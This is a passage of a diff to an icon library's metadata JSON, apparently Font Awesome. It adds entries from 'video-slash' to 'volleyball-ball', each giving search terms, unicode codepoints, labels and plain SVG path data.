+ ] + }, + "video-slash": { + "changes": [ + "5.0.9" + ], + "ligatures": [], + "search": { + "terms": [ + "add", + "create", + "film", + "new", + "positive", + "record", + "video" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f4e2", + "label": "Video Slash", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635796, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M633.8 458.1l-55-42.5c15.4-1.4 29.2-13.7 29.2-31.1v-257c0-25.5-29.1-40.4-50.4-25.8L448 177.3v137.2l-32-24.7v-178c0-26.4-21.4-47.8-47.8-47.8H123.9L45.5 3.4C38.5-2 28.5-.8 23 6.2L3.4 31.4c-5.4 7-4.2 17 2.8 22.4L42.7 82 416 370.6l178.5 138c7 5.4 17 4.2 22.5-2.8l19.6-25.3c5.5-6.9 4.2-17-2.8-22.4zM32 400.2c0 26.4 21.4 47.8 47.8 47.8h288.4c11.2 0 21.4-4 29.6-10.5L32 154.7v245.5z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M633.8 458.1l-55-42.5c15.4-1.4 29.2-13.7 29.2-31.1v-257c0-25.5-29.1-40.4-50.4-25.8L448 177.3v137.2l-32-24.7v-178c0-26.4-21.4-47.8-47.8-47.8H123.9L45.5 3.4C38.5-2 28.5-.8 23 6.2L3.4 31.4c-5.4 7-4.2 17 2.8 22.4L42.7 82 416 370.6l178.5 138c7 5.4 17 4.2 22.5-2.8l19.6-25.3c5.5-6.9 4.2-17-2.8-22.4zM32 400.2c0 26.4 21.4 47.8 47.8 47.8h288.4c11.2 0 21.4-4 29.6-10.5L32 154.7v245.5z" + } + }, + "free": [ + "solid" + ] + }, + "vihara": { + "changes": [ + "5.3.0" + ], + "ligatures": [], + "search": { + "terms": [ + "buddhism", + "buddhist", + "building", + "monastery" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f6a7", + "label": "Vihara", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635797, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M632.88 400.71L544 352v-64l55.16-17.69c11.79-5.9 11.79-22.72 0-28.62L480 192v-64l27.31-16.3c7.72-7.72 5.61-20.74-4.16-25.62L320 0 136.85 86.07c-9.77 4.88-11.88 17.9-4.16 25.62L160 128v64L40.84 241.69c-11.79 5.9-11.79 22.72 0 28.62L96 288v64L7.12 400.71c-5.42 3.62-7.7 9.63-7 15.29.62 5.01 3.57 9.75 8.72 12.33L64 448v48c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-48h160v48c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-48h160v48c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-48l55.15-19.67c5.16-2.58 8.1-7.32 8.72-12.33.71-5.67-1.57-11.68-6.99-15.29zM224 128h192v64H224v-64zm-64 224v-64h320v64H160z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M632.88 400.71L544 352v-64l55.16-17.69c11.79-5.9 11.79-22.72 0-28.62L480 192v-64l27.31-16.3c7.72-7.72 5.61-20.74-4.16-25.62L320 0 136.85 86.07c-9.77 4.88-11.88 17.9-4.16 25.62L160 128v64L40.84 241.69c-11.79 5.9-11.79 22.72 0 28.62L96 288v64L7.12 400.71c-5.42 3.62-7.7 9.63-7 15.29.62 5.01 3.57 9.75 8.72 12.33L64 448v48c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-48h160v48c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-48h160v48c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-48l55.15-19.67c5.16-2.58 8.1-7.32 8.72-12.33.71-5.67-1.57-11.68-6.99-15.29zM224 128h192v64H224v-64zm-64 224v-64h320v64H160z" + } + }, + "free": [ + "solid" + ] + }, + "vimeo": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f40a", + "label": "Vimeo", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861027, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M403.2 32H44.8C20.1 32 0 52.1 0 76.8v358.4C0 459.9 20.1 480 44.8 480h358.4c24.7 0 44.8-20.1 44.8-44.8V76.8c0-24.7-20.1-44.8-44.8-44.8zM377 180.8c-1.4 31.5-23.4 74.7-66 129.4-44 57.2-81.3 85.8-111.7 85.8-18.9 0-34.8-17.4-47.9-52.3-25.5-93.3-36.4-148-57.4-148-2.4 0-10.9 5.1-25.4 15.2l-15.2-19.6c37.3-32.8 72.9-69.2 95.2-71.2 25.2-2.4 40.7 14.8 46.5 51.7 20.7 131.2 29.9 151 67.6 91.6 13.5-21.4 20.8-37.7 21.8-48.9 3.5-33.2-25.9-30.9-45.8-22.4 15.9-52.1 46.3-77.4 91.2-76 33.3.9 49 22.5 47.1 64.7z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M403.2 32H44.8C20.1 32 0 52.1 0 76.8v358.4C0 459.9 20.1 480 44.8 480h358.4c24.7 0 44.8-20.1 44.8-44.8V76.8c0-24.7-20.1-44.8-44.8-44.8zM377 180.8c-1.4 31.5-23.4 74.7-66 129.4-44 57.2-81.3 85.8-111.7 85.8-18.9 0-34.8-17.4-47.9-52.3-25.5-93.3-36.4-148-57.4-148-2.4 0-10.9 5.1-25.4 15.2l-15.2-19.6c37.3-32.8 72.9-69.2 95.2-71.2 25.2-2.4 40.7 14.8 46.5 51.7 20.7 131.2 29.9 151 67.6 91.6 13.5-21.4 20.8-37.7 21.8-48.9 3.5-33.2-25.9-30.9-45.8-22.4 15.9-52.1 46.3-77.4 91.2-76 33.3.9 49 22.5 47.1 64.7z" + } + }, + "free": [ + "brands" + ] + }, + "vimeo-square": { + "changes": [ + "4", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f194", + "label": "Vimeo Square", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861027, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-16.2 149.6c-1.4 31.1-23.2 73.8-65.3 127.9-43.5 56.5-80.3 84.8-110.4 84.8-18.7 0-34.4-17.2-47.3-51.6-25.2-92.3-35.9-146.4-56.7-146.4-2.4 0-10.8 5-25.1 15.1L64 192c36.9-32.4 72.1-68.4 94.1-70.4 24.9-2.4 40.2 14.6 46 51.1 20.5 129.6 29.6 149.2 66.8 90.5 13.4-21.2 20.6-37.2 21.5-48.3 3.4-32.8-25.6-30.6-45.2-22.2 15.7-51.5 45.8-76.5 90.1-75.1 32.9 1 48.4 22.4 46.5 64z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-16.2 149.6c-1.4 31.1-23.2 73.8-65.3 127.9-43.5 56.5-80.3 84.8-110.4 84.8-18.7 0-34.4-17.2-47.3-51.6-25.2-92.3-35.9-146.4-56.7-146.4-2.4 0-10.8 5-25.1 15.1L64 192c36.9-32.4 72.1-68.4 94.1-70.4 24.9-2.4 40.2 14.6 46 51.1 20.5 129.6 29.6 149.2 66.8 90.5 13.4-21.2 20.6-37.2 21.5-48.3 3.4-32.8-25.6-30.6-45.2-22.2 15.7-51.5 45.8-76.5 90.1-75.1 32.9 1 48.4 22.4 46.5 64z" + } + }, + "free": [ + "brands" + ] + }, + "vimeo-v": { + "changes": [ + "4.4", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "vimeo" + ] + }, + "styles": [ + "brands" + ], + "unicode": "f27d", + "label": "Vimeo", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861027, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M447.8 153.6c-2 43.6-32.4 103.3-91.4 179.1-60.9 79.2-112.4 118.8-154.6 118.8-26.1 0-48.2-24.1-66.3-72.3C100.3 250 85.3 174.3 56.2 174.3c-3.4 0-15.1 7.1-35.2 21.1L0 168.2c51.6-45.3 100.9-95.7 131.8-98.5 34.9-3.4 56.3 20.5 64.4 71.5 28.7 181.5 41.4 208.9 93.6 126.7 18.7-29.6 28.8-52.1 30.2-67.6 4.8-45.9-35.8-42.8-63.3-31 22-72.1 64.1-107.1 126.2-105.1 45.8 1.2 67.5 31.1 64.9 89.4z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M447.8 153.6c-2 43.6-32.4 103.3-91.4 179.1-60.9 79.2-112.4 118.8-154.6 118.8-26.1 0-48.2-24.1-66.3-72.3C100.3 250 85.3 174.3 56.2 174.3c-3.4 0-15.1 7.1-35.2 21.1L0 168.2c51.6-45.3 100.9-95.7 131.8-98.5 34.9-3.4 56.3 20.5 64.4 71.5 28.7 181.5 41.4 208.9 93.6 126.7 18.7-29.6 28.8-52.1 30.2-67.6 4.8-45.9-35.8-42.8-63.3-31 22-72.1 64.1-107.1 126.2-105.1 45.8 1.2 67.5 31.1 64.9 89.4z" + } + }, + "free": [ + "brands" + ] + }, + "vine": { + "changes": [ + "4.1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f1ca", + "label": "Vine", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861028, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M384 254.7v52.1c-18.4 4.2-36.9 6.1-52.1 6.1-36.9 77.4-103 143.8-125.1 156.2-14 7.9-27.1 8.4-42.7-.8C137 452 34.2 367.7 0 102.7h74.5C93.2 261.8 139 343.4 189.3 404.5c27.9-27.9 54.8-65.1 75.6-106.9-49.8-25.3-80.1-80.9-80.1-145.6 0-65.6 37.7-115.1 102.2-115.1 114.9 0 106.2 127.9 81.6 181.5 0 0-46.4 9.2-63.5-20.5 3.4-11.3 8.2-30.8 8.2-48.5 0-31.3-11.3-46.6-28.4-46.6-18.2 0-30.8 17.1-30.8 50 .1 79.2 59.4 118.7 129.9 101.9z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M384 254.7v52.1c-18.4 4.2-36.9 6.1-52.1 6.1-36.9 77.4-103 143.8-125.1 156.2-14 7.9-27.1 8.4-42.7-.8C137 452 34.2 367.7 0 102.7h74.5C93.2 261.8 139 343.4 189.3 404.5c27.9-27.9 54.8-65.1 75.6-106.9-49.8-25.3-80.1-80.9-80.1-145.6 0-65.6 37.7-115.1 102.2-115.1 114.9 0 106.2 127.9 81.6 181.5 0 0-46.4 9.2-63.5-20.5 3.4-11.3 8.2-30.8 8.2-48.5 0-31.3-11.3-46.6-28.4-46.6-18.2 0-30.8 17.1-30.8 50 .1 79.2 59.4 118.7 129.9 101.9z" + } + }, + "free": [ + "brands" + ] + }, + "virus": { + "changes": [ + "5.13.0", + "5.14.0" + ], + "ligatures": [], + "search": { + "terms": [ + "bug", + "covid-19", + "flu", + "health", + "sick", + "viral" + ] + }, + "styles": [ + "solid" + ], + "unicode": "e074", + "label": "Virus", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635798, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M483.55,227.55H462c-50.68,0-76.07-61.27-40.23-97.11L437,115.19A28.44,28.44,0,0,0,396.8,75L381.56,90.22c-35.84,35.83-97.11,10.45-97.11-40.23V28.44a28.45,28.45,0,0,0-56.9,0V50c0,50.68-61.27,76.06-97.11,40.23L115.2,75A28.44,28.44,0,0,0,75,115.19l15.25,15.25c35.84,35.84,10.45,97.11-40.23,97.11H28.45a28.45,28.45,0,1,0,0,56.89H50c50.68,0,76.07,61.28,40.23,97.12L75,396.8A28.45,28.45,0,0,0,115.2,437l15.24-15.25c35.84-35.84,97.11-10.45,97.11,40.23v21.54a28.45,28.45,0,0,0,56.9,0V462c0-50.68,61.27-76.07,97.11-40.23L396.8,437A28.45,28.45,0,0,0,437,396.8l-15.25-15.24c-35.84-35.84-10.45-97.12,40.23-97.12h21.54a28.45,28.45,0,1,0,0-56.89ZM224,272a48,48,0,1,1,48-48A48,48,0,0,1,224,272Zm80,56a24,24,0,1,1,24-24A24,24,0,0,1,304,328Z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M483.55,227.55H462c-50.68,0-76.07-61.27-40.23-97.11L437,115.19A28.44,28.44,0,0,0,396.8,75L381.56,90.22c-35.84,35.83-97.11,10.45-97.11-40.23V28.44a28.45,28.45,0,0,0-56.9,0V50c0,50.68-61.27,76.06-97.11,40.23L115.2,75A28.44,28.44,0,0,0,75,115.19l15.25,15.25c35.84,35.84,10.45,97.11-40.23,97.11H28.45a28.45,28.45,0,1,0,0,56.89H50c50.68,0,76.07,61.28,40.23,97.12L75,396.8A28.45,28.45,0,0,0,115.2,437l15.24-15.25c35.84-35.84,97.11-10.45,97.11,40.23v21.54a28.45,28.45,0,0,0,56.9,0V462c0-50.68,61.27-76.07,97.11-40.23L396.8,437A28.45,28.45,0,0,0,437,396.8l-15.25-15.24c-35.84-35.84-10.45-97.12,40.23-97.12h21.54a28.45,28.45,0,1,0,0-56.89ZM224,272a48,48,0,1,1,48-48A48,48,0,0,1,224,272Zm80,56a24,24,0,1,1,24-24A24,24,0,0,1,304,328Z" + } + }, + "free": [ + "solid" + ] + }, + "virus-slash": { + "changes": [ + "5.13.0", + "5.14.0" + ], + "ligatures": [], + "search": { + "terms": [ + "bug", + "covid-19", + "cure", + "eliminate", + "flu", + "health", + "sick", + "viral" + ] + }, + "styles": [ + "solid" + ], + "unicode": "e075", + "label": "Virus Slash", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635798, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M114,227.6H92.4C76.7,227.6,64,240.3,64,256s12.7,28.4,28.4,28.4H114c50.7,0,76.1,61.3,40.2,97.1L139,396.8 c-11.5,10.7-12.2,28.7-1.6,40.2s28.7,12.2,40.2,1.6c0.5-0.5,1.1-1,1.6-1.6l15.2-15.2c35.8-35.8,97.1-10.5,97.1,40.2v21.5 c0,15.7,12.8,28.4,28.5,28.4c15.7,0,28.4-12.7,28.4-28.4V462c0-26.6,17-45.9,38.2-53.4l-244.5-189 C133.7,224.7,123.9,227.5,114,227.6z M617,505.8l19.6-25.3c5.4-7,4.2-17-2.8-22.5L470.6,332c4.2-25.4,24.9-47.5,55.4-47.5h21.5 c15.7,0,28.4-12.7,28.4-28.4s-12.7-28.4-28.4-28.4H526c-50.7,0-76.1-61.3-40.2-97.1l15.2-15.3c10.7-11.5,10-29.5-1.6-40.2 c-10.9-10.1-27.7-10.1-38.6,0l-15.2,15.2c-35.8,35.8-97.1,10.5-97.1-40.2V28.5C348.4,12.7,335.7,0,320,0 c-15.7,0-28.4,12.7-28.4,28.4V50c0,50.7-61.3,76.1-97.1,40.2L179.2,75c-11.1-11.1-29.4-10.6-40.5,0.5L45.5,3.4 c-7-5.4-17-4.2-22.5,2.8L3.4,31.5c-5.4,7-4.2,17,2.8,22.5l588.4,454.7C601.5,514.1,611.6,512.8,617,505.8z M335.4,227.5l-62.9-48.6 c4.9-1.8,10.2-2.8,15.4-2.9c26.5,0,48,21.5,48,48C336,225.2,335.5,226.3,335.4,227.5z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M114,227.6H92.4C76.7,227.6,64,240.3,64,256s12.7,28.4,28.4,28.4H114c50.7,0,76.1,61.3,40.2,97.1L139,396.8 c-11.5,10.7-12.2,28.7-1.6,40.2s28.7,12.2,40.2,1.6c0.5-0.5,1.1-1,1.6-1.6l15.2-15.2c35.8-35.8,97.1-10.5,97.1,40.2v21.5 c0,15.7,12.8,28.4,28.5,28.4c15.7,0,28.4-12.7,28.4-28.4V462c0-26.6,17-45.9,38.2-53.4l-244.5-189 C133.7,224.7,123.9,227.5,114,227.6z M617,505.8l19.6-25.3c5.4-7,4.2-17-2.8-22.5L470.6,332c4.2-25.4,24.9-47.5,55.4-47.5h21.5 c15.7,0,28.4-12.7,28.4-28.4s-12.7-28.4-28.4-28.4H526c-50.7,0-76.1-61.3-40.2-97.1l15.2-15.3c10.7-11.5,10-29.5-1.6-40.2 c-10.9-10.1-27.7-10.1-38.6,0l-15.2,15.2c-35.8,35.8-97.1,10.5-97.1-40.2V28.5C348.4,12.7,335.7,0,320,0 c-15.7,0-28.4,12.7-28.4,28.4V50c0,50.7-61.3,76.1-97.1,40.2L179.2,75c-11.1-11.1-29.4-10.6-40.5,0.5L45.5,3.4 c-7-5.4-17-4.2-22.5,2.8L3.4,31.5c-5.4,7-4.2,17,2.8,22.5l588.4,454.7C601.5,514.1,611.6,512.8,617,505.8z M335.4,227.5l-62.9-48.6 c4.9-1.8,10.2-2.8,15.4-2.9c26.5,0,48,21.5,48,48C336,225.2,335.5,226.3,335.4,227.5z" + } + }, + "free": [ + "solid" + ] + }, + "viruses": { + "changes": [ + "5.13.0", + "5.14.0" + ], + "ligatures": [], + "search": { + "terms": [ + "bugs", + "covid-19", + "flu", + "health", + "multiply", + "sick", + "spread", + "viral" + ] + }, + "styles": [ + "solid" + ], + "unicode": "e076", + "label": "Viruses", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635798, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M624,352H611.88c-28.51,0-42.79-34.47-22.63-54.63l8.58-8.57a16,16,0,1,0-22.63-22.63l-8.57,8.58C546.47,294.91,512,280.63,512,252.12V240a16,16,0,0,0-32,0v12.12c0,28.51-34.47,42.79-54.63,22.63l-8.57-8.58a16,16,0,0,0-22.63,22.63l8.58,8.57c20.16,20.16,5.88,54.63-22.63,54.63H368a16,16,0,0,0,0,32h12.12c28.51,0,42.79,34.47,22.63,54.63l-8.58,8.57a16,16,0,1,0,22.63,22.63l8.57-8.58c20.16-20.16,54.63-5.88,54.63,22.63V496a16,16,0,0,0,32,0V483.88c0-28.51,34.47-42.79,54.63-22.63l8.57,8.58a16,16,0,1,0,22.63-22.63l-8.58-8.57C569.09,418.47,583.37,384,611.88,384H624a16,16,0,0,0,0-32ZM480,384a32,32,0,1,1,32-32A32,32,0,0,1,480,384ZM346.51,213.33h16.16a21.33,21.33,0,0,0,0-42.66H346.51c-38,0-57.05-46-30.17-72.84l11.43-11.44A21.33,21.33,0,0,0,297.6,56.23L286.17,67.66c-26.88,26.88-72.84,7.85-72.84-30.17V21.33a21.33,21.33,0,0,0-42.66,0V37.49c0,38-46,57.05-72.84,30.17L86.4,56.23A21.33,21.33,0,0,0,56.23,86.39L67.66,97.83c26.88,26.88,7.85,72.84-30.17,72.84H21.33a21.33,21.33,0,0,0,0,42.66H37.49c38,0,57.05,46,30.17,72.84L56.23,297.6A21.33,21.33,0,1,0,86.4,327.77l11.43-11.43c26.88-26.88,72.84-7.85,72.84,30.17v16.16a21.33,21.33,0,0,0,42.66,0V346.51c0-38,46-57.05,72.84-30.17l11.43,11.43a21.33,21.33,0,0,0,30.17-30.17l-11.43-11.43C289.46,259.29,308.49,213.33,346.51,213.33ZM160,192a32,32,0,1,1,32-32A32,32,0,0,1,160,192Zm80,32a16,16,0,1,1,16-16A16,16,0,0,1,240,224Z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M624,352H611.88c-28.51,0-42.79-34.47-22.63-54.63l8.58-8.57a16,16,0,1,0-22.63-22.63l-8.57,8.58C546.47,294.91,512,280.63,512,252.12V240a16,16,0,0,0-32,0v12.12c0,28.51-34.47,42.79-54.63,22.63l-8.57-8.58a16,16,0,0,0-22.63,22.63l8.58,8.57c20.16,20.16,5.88,54.63-22.63,54.63H368a16,16,0,0,0,0,32h12.12c28.51,0,42.79,34.47,22.63,54.63l-8.58,8.57a16,16,0,1,0,22.63,22.63l8.57-8.58c20.16-20.16,54.63-5.88,54.63,22.63V496a16,16,0,0,0,32,0V483.88c0-28.51,34.47-42.79,54.63-22.63l8.57,8.58a16,16,0,1,0,22.63-22.63l-8.58-8.57C569.09,418.47,583.37,384,611.88,384H624a16,16,0,0,0,0-32ZM480,384a32,32,0,1,1,32-32A32,32,0,0,1,480,384ZM346.51,213.33h16.16a21.33,21.33,0,0,0,0-42.66H346.51c-38,0-57.05-46-30.17-72.84l11.43-11.44A21.33,21.33,0,0,0,297.6,56.23L286.17,67.66c-26.88,26.88-72.84,7.85-72.84-30.17V21.33a21.33,21.33,0,0,0-42.66,0V37.49c0,38-46,57.05-72.84,30.17L86.4,56.23A21.33,21.33,0,0,0,56.23,86.39L67.66,97.83c26.88,26.88,7.85,72.84-30.17,72.84H21.33a21.33,21.33,0,0,0,0,42.66H37.49c38,0,57.05,46,30.17,72.84L56.23,297.6A21.33,21.33,0,1,0,86.4,327.77l11.43-11.43c26.88-26.88,72.84-7.85,72.84,30.17v16.16a21.33,21.33,0,0,0,42.66,0V346.51c0-38,46-57.05,72.84-30.17l11.43,11.43a21.33,21.33,0,0,0,30.17-30.17l-11.43-11.43C289.46,259.29,308.49,213.33,346.51,213.33ZM160,192a32,32,0,1,1,32-32A32,32,0,0,1,160,192Zm80,32a16,16,0,1,1,16-16A16,16,0,0,1,240,224Z" + } + }, + "free": [ + "solid" + ] + }, + "vk": { + "changes": [ + "3.2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f189", + "label": "VK", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861028, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M545 117.7c3.7-12.5 0-21.7-17.8-21.7h-58.9c-15 0-21.9 7.9-25.6 16.7 0 0-30 73.1-72.4 120.5-13.7 13.7-20 18.1-27.5 18.1-3.7 0-9.4-4.4-9.4-16.9V117.7c0-15-4.2-21.7-16.6-21.7h-92.6c-9.4 0-15 7-15 13.5 0 14.2 21.2 17.5 23.4 57.5v86.8c0 19-3.4 22.5-10.9 22.5-20 0-68.6-73.4-97.4-157.4-5.8-16.3-11.5-22.9-26.6-22.9H38.8c-16.8 0-20.2 7.9-20.2 16.7 0 15.6 20 93.1 93.1 195.5C160.4 378.1 229 416 291.4 416c37.5 0 42.1-8.4 42.1-22.9 0-66.8-3.4-73.1 15.4-73.1 8.7 0 23.7 4.4 58.7 38.1 40 40 46.6 57.9 69 57.9h58.9c16.8 0 25.3-8.4 20.4-25-11.2-34.9-86.9-106.7-90.3-111.5-8.7-11.2-6.2-16.2 0-26.2.1-.1 72-101.3 79.4-135.6z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M545 117.7c3.7-12.5 0-21.7-17.8-21.7h-58.9c-15 0-21.9 7.9-25.6 16.7 0 0-30 73.1-72.4 120.5-13.7 13.7-20 18.1-27.5 18.1-3.7 0-9.4-4.4-9.4-16.9V117.7c0-15-4.2-21.7-16.6-21.7h-92.6c-9.4 0-15 7-15 13.5 0 14.2 21.2 17.5 23.4 57.5v86.8c0 19-3.4 22.5-10.9 22.5-20 0-68.6-73.4-97.4-157.4-5.8-16.3-11.5-22.9-26.6-22.9H38.8c-16.8 0-20.2 7.9-20.2 16.7 0 15.6 20 93.1 93.1 195.5C160.4 378.1 229 416 291.4 416c37.5 0 42.1-8.4 42.1-22.9 0-66.8-3.4-73.1 15.4-73.1 8.7 0 23.7 4.4 58.7 38.1 40 40 46.6 57.9 69 57.9h58.9c16.8 0 25.3-8.4 20.4-25-11.2-34.9-86.9-106.7-90.3-111.5-8.7-11.2-6.2-16.2 0-26.2.1-.1 72-101.3 79.4-135.6z" + } + }, + "free": [ + "brands" + ] + }, + "vnv": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f40b", + "label": "VNV", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861028, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M104.9 352c-34.1 0-46.4-30.4-46.4-30.4L2.6 210.1S-7.8 192 13 192h32.8c10.4 0 13.2 8.7 18.8 18.1l36.7 74.5s5.2 13.1 21.1 13.1 21.1-13.1 21.1-13.1l36.7-74.5c5.6-9.5 8.4-18.1 18.8-18.1h32.8c20.8 0 10.4 18.1 10.4 18.1l-55.8 111.5S174.2 352 140 352h-35.1zm395 0c-34.1 0-46.4-30.4-46.4-30.4l-55.9-111.5S387.2 192 408 192h32.8c10.4 0 13.2 8.7 18.8 18.1l36.7 74.5s5.2 13.1 21.1 13.1 21.1-13.1 21.1-13.1l36.8-74.5c5.6-9.5 8.4-18.1 18.8-18.1H627c20.8 0 10.4 18.1 10.4 18.1l-55.9 111.5S569.3 352 535.1 352h-35.2zM337.6 192c34.1 0 46.4 30.4 46.4 30.4l55.9 111.5s10.4 18.1-10.4 18.1h-32.8c-10.4 0-13.2-8.7-18.8-18.1l-36.7-74.5s-5.2-13.1-21.1-13.1c-15.9 0-21.1 13.1-21.1 13.1l-36.7 74.5c-5.6 9.4-8.4 18.1-18.8 18.1h-32.9c-20.8 0-10.4-18.1-10.4-18.1l55.9-111.5s12.2-30.4 46.4-30.4h35.1z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M104.9 352c-34.1 0-46.4-30.4-46.4-30.4L2.6 210.1S-7.8 192 13 192h32.8c10.4 0 13.2 8.7 18.8 18.1l36.7 74.5s5.2 13.1 21.1 13.1 21.1-13.1 21.1-13.1l36.7-74.5c5.6-9.5 8.4-18.1 18.8-18.1h32.8c20.8 0 10.4 18.1 10.4 18.1l-55.8 111.5S174.2 352 140 352h-35.1zm395 0c-34.1 0-46.4-30.4-46.4-30.4l-55.9-111.5S387.2 192 408 192h32.8c10.4 0 13.2 8.7 18.8 18.1l36.7 74.5s5.2 13.1 21.1 13.1 21.1-13.1 21.1-13.1l36.8-74.5c5.6-9.5 8.4-18.1 18.8-18.1H627c20.8 0 10.4 18.1 10.4 18.1l-55.9 111.5S569.3 352 535.1 352h-35.2zM337.6 192c34.1 0 46.4 30.4 46.4 30.4l55.9 111.5s10.4 18.1-10.4 18.1h-32.8c-10.4 0-13.2-8.7-18.8-18.1l-36.7-74.5s-5.2-13.1-21.1-13.1c-15.9 0-21.1 13.1-21.1 13.1l-36.7 74.5c-5.6 9.4-8.4 18.1-18.8 18.1h-32.9c-20.8 0-10.4-18.1-10.4-18.1l55.9-111.5s12.2-30.4 46.4-30.4h35.1z" + } + }, + "free": [ + "brands" + ] + }, + "voicemail": { + "changes": [ + "5.9.0" + ], + "ligatures": [], + "search": { + "terms": [ + "answer", + "inbox", + "message", + "phone" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f897", + "label": "Voicemail", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635799, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M496 128a144 144 0 0 0-119.74 224H263.74A144 144 0 1 0 144 416h352a144 144 0 0 0 0-288zM64 272a80 80 0 1 1 80 80 80 80 0 0 1-80-80zm432 80a80 80 0 1 1 80-80 80 80 0 0 1-80 80z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M496 128a144 144 0 0 0-119.74 224H263.74A144 144 0 1 0 144 416h352a144 144 0 0 0 0-288zM64 272a80 80 0 1 1 80 80 80 80 0 0 1-80-80zm432 80a80 80 0 1 1 80-80 80 80 0 0 1-80 80z" + } + }, + "free": [ + "solid" + ] + }, + "volleyball-ball": { + "changes": [ + "5.0.5", + "5.8.0" + ], + "ligatures": [], + "search": { + "terms": [ + "beach", + "olympics", + "sport" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f45f", + "label": "Volleyball Ball", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635799, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M231.39 243.48a285.56 285.56 0 0 0-22.7-105.7c-90.8 42.4-157.5 122.4-180.3 216.8a249 249 0 0 0 56.9 81.1 333.87 333.87 0 0 1 146.1-192.2zm-36.9-134.4a284.23 284.23 0 0 0-57.4-70.7c-91 49.8-144.8 152.9-125 262.2 33.4-83.1 98.4-152 182.4-191.5zm187.6 165.1c8.6-99.8-27.3-197.5-97.5-264.4-14.7-1.7-51.6-5.5-98.9 8.5A333.87 333.87 0 0 1 279.19 241a285 285 0 0 0 102.9 33.18zm-124.7 9.5a286.33 286.33 0 0 0-80.2 72.6c82 57.3 184.5 75.1 277.5 47.8a247.15 247.15 0 0 0 42.2-89.9 336.1 336.1 0 0 1-80.9 10.4c-54.6-.1-108.9-14.1-158.6-40.9zm-98.3 99.7c-15.2 26-25.7 54.4-32.1 84.2a247.07 247.07 